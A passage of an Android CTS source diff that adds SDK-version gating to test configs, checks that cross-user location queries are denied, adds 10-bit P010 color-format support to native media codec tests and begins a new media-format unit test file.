         <!-- ART Mainline Module (external (AOSP) version). -->
         <option name="mainline-module-package-name" value="com.android.art" />
     </object>
+
+    <!-- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
 </configuration>
diff --git a/tests/libcore/okhttp/Android.bp b/tests/libcore/okhttp/Android.bp
index b481dd5..2387d19 100644
--- a/tests/libcore/okhttp/Android.bp
+++ b/tests/libcore/okhttp/Android.bp
@@ -50,7 +50,7 @@
     test_suites: [
         "cts",
         "general-tests",
-       "mts-conscrypt",
+        "mts-conscrypt",
     ],
   test_config: "CtsLibcoreOkHttpTestCases.xml"
 }
diff --git a/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml
index 8219e38c..f60c81c 100644
--- a/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml
+++ b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml
@@ -56,4 +56,7 @@
         <!-- ART Mainline Module (external (AOSP) version). -->
         <option name="mainline-module-package-name" value="com.android.art" />
     </object>
+
+    <!-- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
 </configuration>
diff --git a/tests/libcore/runner/Android.bp b/tests/libcore/runner/Android.bp
index d54a198..4e0742f 100644
--- a/tests/libcore/runner/Android.bp
+++ b/tests/libcore/runner/Android.bp
@@ -31,6 +31,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-art",
     ],
 }
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index be741df..5410b5b 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -53,4 +53,7 @@
         <!-- ART Mainline Module (external (AOSP) version). -->
         <option name="mainline-module-package-name" value="com.android.art" />
     </object>
+
+    <!-- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
 </configuration>
diff --git a/tests/location/Android.mk b/tests/location/Android.mk
deleted file mode 100644
index 8f2b031..0000000
--- a/tests/location/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
-
diff --git a/tests/location/location_fine/AndroidManifest.xml b/tests/location/location_fine/AndroidManifest.xml
index 093c0fa..b97a90b 100644
--- a/tests/location/location_fine/AndroidManifest.xml
+++ b/tests/location/location_fine/AndroidManifest.xml
@@ -32,7 +32,6 @@
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.location.cts.fine"
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index 0f3aec5..fffe877 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -171,6 +171,22 @@
     @Test
     public void testIsLocationEnabled() {
         assertThat(mManager.isLocationEnabled()).isTrue();
+
+        try {
+            mContext.createContextAsUser(UserHandle.CURRENT, 0).getSystemService(
+                    LocationManager.class).isLocationEnabled();
+            fail();
+        } catch (SecurityException e) {
+            // pass
+        }
+
+        try {
+            mContext.createContextAsUser(UserHandle.ALL, 0).getSystemService(
+                    LocationManager.class).isLocationEnabled();
+            fail();
+        } catch (SecurityException e) {
+            // pass
+        }
     }
 
     @Test
@@ -878,7 +894,6 @@
     }
 
     @Test
-    @AppModeFull(reason = "Instant apps can't hold INTERACT_ACROSS_USERS permission")
     public void testAddProviderRequestListener() throws Exception {
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
@@ -1834,4 +1849,4 @@
             automation.dropShellPermissionIdentity();
         }
     }
-}
+}
\ No newline at end of file
diff --git a/tests/media/Android.bp b/tests/media/Android.bp
index 81c56af..03ff17d 100644
--- a/tests/media/Android.bp
+++ b/tests/media/Android.bp
@@ -21,6 +21,7 @@
     defaults: ["cts_defaults"],
     compile_multilib: "both",
     static_libs: [
+        "androidx.test.core",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "ctstestserver",
@@ -36,6 +37,7 @@
         "libctsmediav2muxer_jni",
         "libctsmediav2extractor_jni",
         "libctsmediav2codec_jni",
+        "libctsmediav2utils_jni",
     ],
     srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 02f2aca..588ddf8 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaV2TestCases-1.14" />
+        <option name="media-folder-name" value="CtsMediaV2TestCases-2.4" />
         <option name="dynamic-config-module" value="CtsMediaV2TestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 572610a..72f13e0 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,5 +1,5 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.14.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/media/README.md b/tests/media/README.md
index db6eb116..525379c 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,10 @@
 
 The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.14.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+
+All Big Buck Bunny(bbb) test vectors are of 8-bit format. They are downloaded from [link](https://peach.blender.org/download/) and resampled according to the test requirements.
+All Cosmos Laundromat(cosmat) test vectors are of 10-bit format. They are downloaded from [link](https://media.xiph.org/) and resampled according to the test requirements.
 
 The test suite looks to cover sdk/ndk api in normal and error scenarios. Error scenarios are separated from regular usage and are placed under class *UnitTest (MuxerUnitTest, ExtractorUnitTest, ...).
 
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index 0adef28..d7e5d88 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install mediav2 test files manually
 
 adbOptions=" "
-resLabel=CtsMediaV2TestCases-1.14
+resLabel=CtsMediaV2TestCases-2.4
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/jni/Android.bp b/tests/media/jni/Android.bp
index d4e192c..95fb613 100644
--- a/tests/media/jni/Android.bp
+++ b/tests/media/jni/Android.bp
@@ -93,3 +93,25 @@
     gtest: false,
     sdk_version: "29",
 }
+
+cc_test_library {
+    name: "libctsmediav2utils_jni",
+    srcs: [
+        "NativeMediaFormatUnitTest.cpp",
+    ],
+    shared_libs: [
+        "libmediandk",
+        "liblog",
+    ],
+    header_libs: ["liblog_headers"],
+    include_dirs: [
+        "frameworks/av/media/ndk/include/media",
+    ],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    gtest: false,
+    sdk_version: "29",
+}
diff --git a/tests/media/jni/NativeCodecDecoderTest.cpp b/tests/media/jni/NativeCodecDecoderTest.cpp
index d68a040..4112d17 100644
--- a/tests/media/jni/NativeCodecDecoderTest.cpp
+++ b/tests/media/jni/NativeCodecDecoderTest.cpp
@@ -43,7 +43,7 @@
 
     void setUpAudioReference(const char* refFile);
     void deleteReference();
-    bool setUpExtractor(const char* srcFile);
+    bool setUpExtractor(const char* srcFile, int colorFormat);
     void deleteExtractor();
     bool configureCodec(AMediaFormat* format, bool isAsync, bool signalEOSWithLastFrame,
                         bool isEncoder) override;
@@ -59,10 +59,10 @@
     ~CodecDecoderTest();
 
     bool testSimpleDecode(const char* decoder, const char* testFile, const char* refFile,
-                          float rmsError, uLong checksum);
-    bool testFlush(const char* decoder, const char* testFile);
-    bool testOnlyEos(const char* decoder, const char* testFile);
-    bool testSimpleDecodeQueueCSD(const char* decoder, const char* testFile);
+                          int colorFormat, float rmsError, uLong checksum);
+    bool testFlush(const char* decoder, const char* testFile, int colorFormat);
+    bool testOnlyEos(const char* decoder, const char* testFile, int colorFormat);
+    bool testSimpleDecodeQueueCSD(const char* decoder, const char* testFile, int colorFormat);
 };
 
 CodecDecoderTest::CodecDecoderTest(const char* mime, ANativeWindow* window)
@@ -102,7 +102,7 @@
     mRefLength = 0;
 }
 
-bool CodecDecoderTest::setUpExtractor(const char* srcFile) {
+bool CodecDecoderTest::setUpExtractor(const char* srcFile, int colorFormat) {
     FILE* fp = fopen(srcFile, "rbe");
     struct stat buf {};
     if (fp && !fstat(fileno(fp), &buf)) {
@@ -113,6 +113,7 @@
         if (res != AMEDIA_OK) {
             deleteExtractor();
         } else {
+            mBytesPerSample = (colorFormat == COLOR_FormatYUVP010) ? 2 : 1;
             for (size_t trackID = 0; trackID < AMediaExtractor_getTrackCount(mExtractor);
                  trackID++) {
                 AMediaFormat* currFormat = AMediaExtractor_getTrackFormat(mExtractor, trackID);
@@ -122,7 +123,7 @@
                     AMediaExtractor_selectTrack(mExtractor, trackID);
                     if (!mIsAudio) {
                         AMediaFormat_setInt32(currFormat, AMEDIAFORMAT_KEY_COLOR_FORMAT,
-                                              COLOR_FormatYUV420Flexible);
+                                              colorFormat);
                     }
                     mInpDecFormat = currFormat;
                     // TODO: determine this from the extractor format when it becomes exposed.
@@ -238,7 +239,7 @@
                 AMediaFormat_getInt32(format, "width", &width);
                 AMediaFormat_getInt32(format, "height", &height);
                 AMediaFormat_getInt32(format, "stride", &stride);
-                mOutputBuff->updateChecksum(buf, info, width, height, stride);
+                mOutputBuff->updateChecksum(buf, info, width, height, stride, mBytesPerSample);
             }
         }
         mOutputBuff->saveOutPTS(info->presentationTimeUs);
@@ -299,9 +300,10 @@
 }
 
 bool CodecDecoderTest::testSimpleDecode(const char* decoder, const char* testFile,
-                                        const char* refFile, float rmsError, uLong checksum) {
+                                        const char* refFile, int colorFormat, float rmsError,
+                                        uLong checksum) {
     bool isPass = true;
-    if (!setUpExtractor(testFile)) return false;
+    if (!setUpExtractor(testFile, colorFormat)) return false;
     mSaveToMem = (mWindow == nullptr);
     auto ref = &mRefBuff;
     auto test = &mTestBuff;
@@ -399,9 +401,9 @@
     return isPass;
 }
 
-bool CodecDecoderTest::testFlush(const char* decoder, const char* testFile) {
+bool CodecDecoderTest::testFlush(const char* decoder, const char* testFile, int colorFormat) {
     bool isPass = true;
-    if (!setUpExtractor(testFile)) return false;
+    if (!setUpExtractor(testFile, colorFormat)) return false;
     mCsdBuffers.clear();
     for (int i = 0;; i++) {
         char csdName[16];
@@ -472,8 +474,10 @@
         AMediaExtractor_seekTo(mExtractor, 0, mode);
         test->reset();
         if (!doWork(23)) return false;
-        CHECK_ERR(!test->isPtsStrictlyIncreasing(mPrevOutputPts), "",
-                  "pts is not strictly increasing", isPass);
+        if (!mIsInterlaced) {
+            CHECK_ERR(!test->isPtsStrictlyIncreasing(mPrevOutputPts), "",
+                          "pts is not strictly increasing", isPass);
+        }
 
         /* test flush in running state */
         if (!flushCodec()) return false;
@@ -526,9 +530,9 @@
     return isPass;
 }
 
-bool CodecDecoderTest::testOnlyEos(const char* decoder, const char* testFile) {
+bool CodecDecoderTest::testOnlyEos(const char* decoder, const char* testFile, int colorFormat) {
     bool isPass = true;
-    if (!setUpExtractor(testFile)) return false;
+    if (!setUpExtractor(testFile, colorFormat)) return false;
     mSaveToMem = (mWindow == nullptr);
     auto ref = &mRefBuff;
     auto test = &mTestBuff;
@@ -560,16 +564,22 @@
         CHECK_ERR(loopCounter != 0 && (!ref->equals(test)), log, "output is flaky", isPass);
         CHECK_ERR(loopCounter == 0 && mIsAudio && (!ref->isPtsStrictlyIncreasing(mPrevOutputPts)),
                   log, "pts is not strictly increasing", isPass);
-        CHECK_ERR(loopCounter == 0 && !mIsAudio && (!ref->isOutPtsListIdenticalToInpPtsList(false)),
-                  log, "input pts list and output pts list are not identical", isPass);
+        // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+        // produce multiple progressive frames?) For now, do not verify timestamps.
+        if (!mIsInterlaced) {
+            CHECK_ERR(loopCounter == 0 && !mIsAudio &&
+                      (!ref->isOutPtsListIdenticalToInpPtsList(false)),
+                      log, "input pts list and output pts list are not identical", isPass);
+        }
         loopCounter++;
     }
     return isPass;
 }
 
-bool CodecDecoderTest::testSimpleDecodeQueueCSD(const char* decoder, const char* testFile) {
+bool CodecDecoderTest::testSimpleDecodeQueueCSD(const char* decoder, const char* testFile,
+                                                int colorFormat) {
     bool isPass = true;
-    if (!setUpExtractor(testFile)) return false;
+    if (!setUpExtractor(testFile, colorFormat)) return false;
     std::vector<AMediaFormat*> formats;
     formats.push_back(mInpDecFormat);
     mInpDecDupFormat = AMediaFormat_new();
@@ -638,9 +648,13 @@
                 CHECK_ERR(loopCounter == 0 && mIsAudio &&
                           (!ref->isPtsStrictlyIncreasing(mPrevOutputPts)),
                           log, "pts is not strictly increasing", isPass);
-                CHECK_ERR(loopCounter == 0 && !mIsAudio &&
-                                  (!ref->isOutPtsListIdenticalToInpPtsList(false)),
-                          log, "input pts list and output pts list are not identical", isPass);
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (!mIsInterlaced) {
+                    CHECK_ERR(loopCounter == 0 && !mIsAudio &&
+                                      (!ref->isOutPtsListIdenticalToInpPtsList(false)),
+                              log, "input pts list and output pts list are not identical", isPass);
+                }
                 if (validateFormat) {
                     if (mIsCodecInAsyncMode ? !mAsyncHandle.hasOutputFormatChanged()
                                             : !mSignalledOutFormatChanged) {
@@ -663,7 +677,7 @@
 
 static jboolean nativeTestSimpleDecode(JNIEnv* env, jobject, jstring jDecoder, jobject surface,
                                        jstring jMime, jstring jtestFile, jstring jrefFile,
-                                       jfloat jrmsError, jlong jChecksum) {
+                                       jint jColorFormat, jfloat jrmsError, jlong jChecksum) {
     const char* cDecoder = env->GetStringUTFChars(jDecoder, nullptr);
     const char* cMime = env->GetStringUTFChars(jMime, nullptr);
     const char* cTestFile = env->GetStringUTFChars(jtestFile, nullptr);
@@ -672,8 +686,8 @@
     uLong cChecksum = jChecksum;
     ANativeWindow* window = surface ? ANativeWindow_fromSurface(env, surface) : nullptr;
     auto* codecDecoderTest = new CodecDecoderTest(cMime, window);
-    bool isPass =
-            codecDecoderTest->testSimpleDecode(cDecoder, cTestFile, cRefFile, cRmsError, cChecksum);
+    bool isPass = codecDecoderTest->testSimpleDecode(cDecoder, cTestFile, cRefFile, jColorFormat,
+                                                     cRmsError, cChecksum);
     delete codecDecoderTest;
     if (window) {
         ANativeWindow_release(window);
@@ -687,12 +701,12 @@
 }
 
 static jboolean nativeTestOnlyEos(JNIEnv* env, jobject, jstring jDecoder, jstring jMime,
-                                  jstring jtestFile) {
+                                  jstring jtestFile, jint jColorFormat) {
     const char* cDecoder = env->GetStringUTFChars(jDecoder, nullptr);
     const char* cMime = env->GetStringUTFChars(jMime, nullptr);
     const char* cTestFile = env->GetStringUTFChars(jtestFile, nullptr);
     auto* codecDecoderTest = new CodecDecoderTest(cMime, nullptr);
-    bool isPass = codecDecoderTest->testOnlyEos(cDecoder, cTestFile);
+    bool isPass = codecDecoderTest->testOnlyEos(cDecoder, cTestFile, jColorFormat);
     delete codecDecoderTest;
     env->ReleaseStringUTFChars(jDecoder, cDecoder);
     env->ReleaseStringUTFChars(jMime, cMime);
@@ -701,13 +715,13 @@
 }
 
 static jboolean nativeTestFlush(JNIEnv* env, jobject, jstring jDecoder, jobject surface,
-                                jstring jMime, jstring jtestFile) {
+                                jstring jMime, jstring jtestFile, jint jColorFormat) {
     const char* cDecoder = env->GetStringUTFChars(jDecoder, nullptr);
     const char* cMime = env->GetStringUTFChars(jMime, nullptr);
     const char* cTestFile = env->GetStringUTFChars(jtestFile, nullptr);
     ANativeWindow* window = surface ? ANativeWindow_fromSurface(env, surface) : nullptr;
     auto* codecDecoderTest = new CodecDecoderTest(cMime, window);
-    bool isPass = codecDecoderTest->testFlush(cDecoder, cTestFile);
+    bool isPass = codecDecoderTest->testFlush(cDecoder, cTestFile, jColorFormat);
     delete codecDecoderTest;
     if (window) {
         ANativeWindow_release(window);
@@ -720,12 +734,13 @@
 }
 
 static jboolean nativeTestSimpleDecodeQueueCSD(JNIEnv* env, jobject, jstring jDecoder,
-                                               jstring jMime, jstring jtestFile) {
+                                               jstring jMime, jstring jtestFile,
+                                               jint jColorFormat) {
     const char* cDecoder = env->GetStringUTFChars(jDecoder, nullptr);
     const char* cMime = env->GetStringUTFChars(jMime, nullptr);
     const char* cTestFile = env->GetStringUTFChars(jtestFile, nullptr);
     auto codecDecoderTest = new CodecDecoderTest(cMime, nullptr);
-    bool isPass = codecDecoderTest->testSimpleDecodeQueueCSD(cDecoder, cTestFile);
+    bool isPass = codecDecoderTest->testSimpleDecodeQueueCSD(cDecoder, cTestFile, jColorFormat);
     delete codecDecoderTest;
     env->ReleaseStringUTFChars(jDecoder, cDecoder);
     env->ReleaseStringUTFChars(jMime, cMime);
@@ -737,15 +752,15 @@
     const JNINativeMethod methodTable[] = {
             {"nativeTestSimpleDecode",
              "(Ljava/lang/String;Landroid/view/Surface;Ljava/lang/String;Ljava/lang/String;Ljava/"
-             "lang/String;FJ)Z",
+             "lang/String;IFJ)Z",
              (void*)nativeTestSimpleDecode},
-            {"nativeTestOnlyEos", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z",
+            {"nativeTestOnlyEos", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)Z",
              (void*)nativeTestOnlyEos},
             {"nativeTestFlush",
-             "(Ljava/lang/String;Landroid/view/Surface;Ljava/lang/String;Ljava/lang/String;)Z",
+             "(Ljava/lang/String;Landroid/view/Surface;Ljava/lang/String;Ljava/lang/String;I)Z",
              (void*)nativeTestFlush},
             {"nativeTestSimpleDecodeQueueCSD",
-             "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z",
+             "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)Z",
              (void*)nativeTestSimpleDecodeQueueCSD},
     };
     jclass c = env->FindClass("android/mediav2/cts/CodecDecoderTest");
@@ -756,10 +771,10 @@
     const JNINativeMethod methodTable[] = {
             {"nativeTestSimpleDecode",
              "(Ljava/lang/String;Landroid/view/Surface;Ljava/lang/String;Ljava/lang/String;Ljava/"
-             "lang/String;FJ)Z",
+             "lang/String;IFJ)Z",
              (void*)nativeTestSimpleDecode},
             {"nativeTestFlush",
-             "(Ljava/lang/String;Landroid/view/Surface;Ljava/lang/String;Ljava/lang/String;)Z",
+             "(Ljava/lang/String;Landroid/view/Surface;Ljava/lang/String;Ljava/lang/String;I)Z",
              (void*)nativeTestFlush},
     };
     jclass c = env->FindClass("android/mediav2/cts/CodecDecoderSurfaceTest");
diff --git a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
index b8825bc..aef7d19 100644
--- a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
+++ b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
@@ -58,7 +58,7 @@
     OutputManager mTestBuff;
     bool mSaveToMem;
 
-    bool setUpExtractor(const char* srcPath);
+    bool setUpExtractor(const char* srcPath, int colorFormat);
     void deleteExtractor();
     bool configureCodec(bool isAsync, bool signalEOSWithLastFrame);
     void resetContext(bool isAsync, bool signalEOSWithLastFrame);
@@ -78,7 +78,7 @@
     ~CodecEncoderSurfaceTest();
 
     bool testSimpleEncode(const char* encoder, const char* decoder, const char* srcPath,
-                          const char* muxOutPath);
+                          const char* muxOutPath, int colorFormat);
 };
 
 CodecEncoderSurfaceTest::CodecEncoderSurfaceTest(const char* mime, int bitrate, int framerate)
@@ -121,7 +121,7 @@
     }
 }
 
-bool CodecEncoderSurfaceTest::setUpExtractor(const char* srcFile) {
+bool CodecEncoderSurfaceTest::setUpExtractor(const char* srcFile, int colorFormat) {
     FILE* fp = fopen(srcFile, "rbe");
     struct stat buf {};
     if (fp && !fstat(fileno(fp), &buf)) {
@@ -140,7 +140,7 @@
                 if (mime && strncmp(mime, "video/", strlen("video/")) == 0) {
                     AMediaExtractor_selectTrack(mExtractor, trackID);
                     AMediaFormat_setInt32(currFormat, AMEDIAFORMAT_KEY_COLOR_FORMAT,
-                                          COLOR_FormatYUV420Flexible);
+                                          colorFormat);
                     mDecFormat = currFormat;
                     break;
                 }
@@ -497,9 +497,10 @@
 }
 
 bool CodecEncoderSurfaceTest::testSimpleEncode(const char* encoder, const char* decoder,
-                                               const char* srcPath, const char* muxOutPath) {
+                                               const char* srcPath, const char* muxOutPath,
+                                               int colorFormat) {
     bool isPass = true;
-    if (!setUpExtractor(srcPath)) {
+    if (!setUpExtractor(srcPath, colorFormat)) {
         ALOGE("setUpExtractor failed");
         return false;
     }
@@ -598,7 +599,7 @@
 
 static jboolean nativeTestSimpleEncode(JNIEnv* env, jobject, jstring jEncoder, jstring jDecoder,
                                        jstring jMime, jstring jtestFile, jstring jmuxFile,
-                                       jint jBitrate, jint jFramerate) {
+                                       jint jBitrate, jint jFramerate, jint jColorFormat) {
     const char* cEncoder = env->GetStringUTFChars(jEncoder, nullptr);
     const char* cDecoder = env->GetStringUTFChars(jDecoder, nullptr);
     const char* cMime = env->GetStringUTFChars(jMime, nullptr);
@@ -607,7 +608,8 @@
     auto codecEncoderSurfaceTest =
             new CodecEncoderSurfaceTest(cMime, (int)jBitrate, (int)jFramerate);
     bool isPass =
-            codecEncoderSurfaceTest->testSimpleEncode(cEncoder, cDecoder, cTestFile, cMuxFile);
+            codecEncoderSurfaceTest->testSimpleEncode(cEncoder, cDecoder, cTestFile, cMuxFile,
+                                                      jColorFormat);
     delete codecEncoderSurfaceTest;
     env->ReleaseStringUTFChars(jEncoder, cEncoder);
     env->ReleaseStringUTFChars(jDecoder, cDecoder);
@@ -621,7 +623,7 @@
     const JNINativeMethod methodTable[] = {
             {"nativeTestSimpleEncode",
              "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/"
-             "String;II)Z",
+             "String;III)Z",
              (void*)nativeTestSimpleEncode},
     };
     jclass c = env->FindClass("android/mediav2/cts/CodecEncoderSurfaceTest");
diff --git a/tests/media/jni/NativeCodecEncoderTest.cpp b/tests/media/jni/NativeCodecEncoderTest.cpp
index ef7f1c8..ea8010c 100644
--- a/tests/media/jni/NativeCodecEncoderTest.cpp
+++ b/tests/media/jni/NativeCodecEncoderTest.cpp
@@ -394,7 +394,7 @@
     bool isPass = true;
     setUpSource(srcPath);
     if (!mInputData) return false;
-    setUpParams(INT32_MAX);
+    setUpParams(1);
     /* TODO(b/149027258) */
     if (true) mSaveToMem = false;
     else mSaveToMem = true;
diff --git a/tests/media/jni/NativeCodecTestBase.cpp b/tests/media/jni/NativeCodecTestBase.cpp
index 1516185..391ef1e 100644
--- a/tests/media/jni/NativeCodecTestBase.cpp
+++ b/tests/media/jni/NativeCodecTestBase.cpp
@@ -207,8 +207,8 @@
     return result;
 }
 
-void OutputManager::updateChecksum(
-        uint8_t* buf, AMediaCodecBufferInfo* info, int width, int height, int stride) {
+void OutputManager::updateChecksum(uint8_t* buf, AMediaCodecBufferInfo* info, int width, int height,
+                                   int stride, int bytesPerSample) {
     uint8_t flattenInfo[16];
     int pos = 0;
     if (width <= 0 || height <= 0 || stride <= 0) {
@@ -218,15 +218,15 @@
                           info->flags & ~AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM);
     flattenField<int64_t>(flattenInfo, &pos, info->presentationTimeUs);
     crc32value = crc32(crc32value, flattenInfo, pos);
-    if (width > 0 && height > 0 && stride > 0) {
+    if (width > 0 && height > 0 && stride > 0 && bytesPerSample > 0) {
         // Only checksum Y plane
-        std::vector<uint8_t> tmp(width * height, 0u);
+        std::vector<uint8_t> tmp(width * height * bytesPerSample, 0u);
         size_t offset = 0;
         for (int i = 0; i < height; ++i) {
-            memcpy(tmp.data() + (i * width), buf + offset, width);
+            memcpy(tmp.data() + (i * width * bytesPerSample), buf + offset, width * bytesPerSample);
             offset += stride;
         }
-        crc32value = crc32(crc32value, tmp.data(), width * height);
+        crc32value = crc32(crc32value, tmp.data(), width * height * bytesPerSample);
     } else {
         crc32value = crc32(crc32value, buf, info->size);
     }
@@ -342,6 +342,7 @@
     mSaveToMem = false;
     mOutputBuff = nullptr;
     mCodec = nullptr;
+    mBytesPerSample = mIsAudio ? 2 : 1;
 }
 
 CodecTestBase::~CodecTestBase() {
diff --git a/tests/media/jni/NativeCodecTestBase.h b/tests/media/jni/NativeCodecTestBase.h
index fca570b..d8256a8 100644
--- a/tests/media/jni/NativeCodecTestBase.h
+++ b/tests/media/jni/NativeCodecTestBase.h
@@ -106,10 +106,11 @@
         memory.insert(memory.end(), buf, buf + info->size);
     }
     void updateChecksum(uint8_t* buf, AMediaCodecBufferInfo* info) {
-        updateChecksum(buf, info, 0, 0, 0);
+        updateChecksum(buf, info, 0, 0, 0, 0);
     }
-    void updateChecksum(
-            uint8_t* buf, AMediaCodecBufferInfo* info, int width, int height, int stride);
+
+    void updateChecksum(uint8_t* buf, AMediaCodecBufferInfo* info, int width, int height,
+                        int stride, int bytesPerSample);
     uLong getChecksum() { return crc32value; }
     void reset() {
         inpPtsArray.clear();
@@ -136,6 +137,7 @@
     int64_t mPrevOutputPts;
     bool mSignalledOutFormatChanged;
     AMediaFormat* mOutFormat;
+    int mBytesPerSample;
 
     bool mSaveToMem;
     OutputManager* mOutputBuff;
diff --git a/tests/media/jni/NativeMediaCommon.h b/tests/media/jni/NativeMediaCommon.h
index e8f83f6..ca969e4 100644
--- a/tests/media/jni/NativeMediaCommon.h
+++ b/tests/media/jni/NativeMediaCommon.h
@@ -56,6 +56,7 @@
 constexpr int COLOR_FormatYUV420SemiPlanar = 21;
 constexpr int COLOR_FormatYUV420Flexible = 0x7F420888;
 constexpr int COLOR_FormatSurface = 0x7f000789;
+constexpr int COLOR_FormatYUVP010 = 54;
 
 // constants not defined in NDK
 extern const char* TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME;
diff --git a/tests/media/jni/NativeMediaFormatUnitTest.cpp b/tests/media/jni/NativeMediaFormatUnitTest.cpp
new file mode 100644
index 0000000..e3241a3
--- /dev/null
+++ b/tests/media/jni/NativeMediaFormatUnitTest.cpp
@@ -0,0 +1,654 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "NativeMediaFormatUnitTest"
+#include <log/log.h>
+#include <jni.h>
+#include <NdkMediaFormat.h>
+
+#include <cinttypes>
+#include <map>
+#include <string>
+
+static const char story[] = {"What if after you die, God asks you: 'so how was heaven'"};
+static const char dragon[] = {"e4 c5 Nf3 d6 d4 cxd4 Nxd4 Nf6 Nc3 g6"};
+
+class Rect {
+public:
+    int left;
+    int top;
+    int right;
+    int bottom;
+
+    Rect(int a, int b, int c, int d) : left{a}, top{b}, right{c}, bottom{d} {};
+};
+
+class Buffer {
+public:
+    char* buffer;
+    size_t size;
+
+    explicit Buffer(char* buffer = nullptr, size_t size = 0) : buffer{buffer}, size{size} {};
+};
+
+class NativeMediaFormatUnitTest {
+private:
+    std::map<int32_t, const char*> mInt32KeyValuePairs;
+    std::map<int64_t, const char*> mInt64KeyValuePairs;
+    std::map<float, const char*> mFloatKeyValuePairs;
